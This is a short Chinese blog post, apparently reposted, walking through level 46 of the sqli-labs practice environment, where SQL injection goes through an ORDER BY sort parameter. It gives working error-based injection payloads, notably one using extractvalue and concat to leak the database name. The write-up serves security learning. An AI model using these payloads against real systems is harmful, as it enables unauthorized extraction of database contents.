sqllab第四十六关通关笔记

作者：繁依Fanyi0 | 2024-03-19 09:53:47

踩

sqllab第四十六关通关笔记

知识点：

通过测试发现原始语句为 select 1,2,3 from 表名 order by sort

只有三个字段，输入的信息作为排序的字段

构造sort=1,2,3,4（分别输入），测试处只有三个字段

通过单引号输入发现页面打印出了完整的错误信息

这里应该是一个数值型注入

构造payload:sort=0%20and%20exp(720)#

发现页面正常输出，这就怪了，为啥会这样呢？？？难道不能用错误注入

尝试使用其他的错误函数

构造payload:sort=0%20and%20extractvalue(1,concat(0x7e,database(),0x7e))#

成功回显出了数据库名，同理可以获取数据库其他信息

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/267476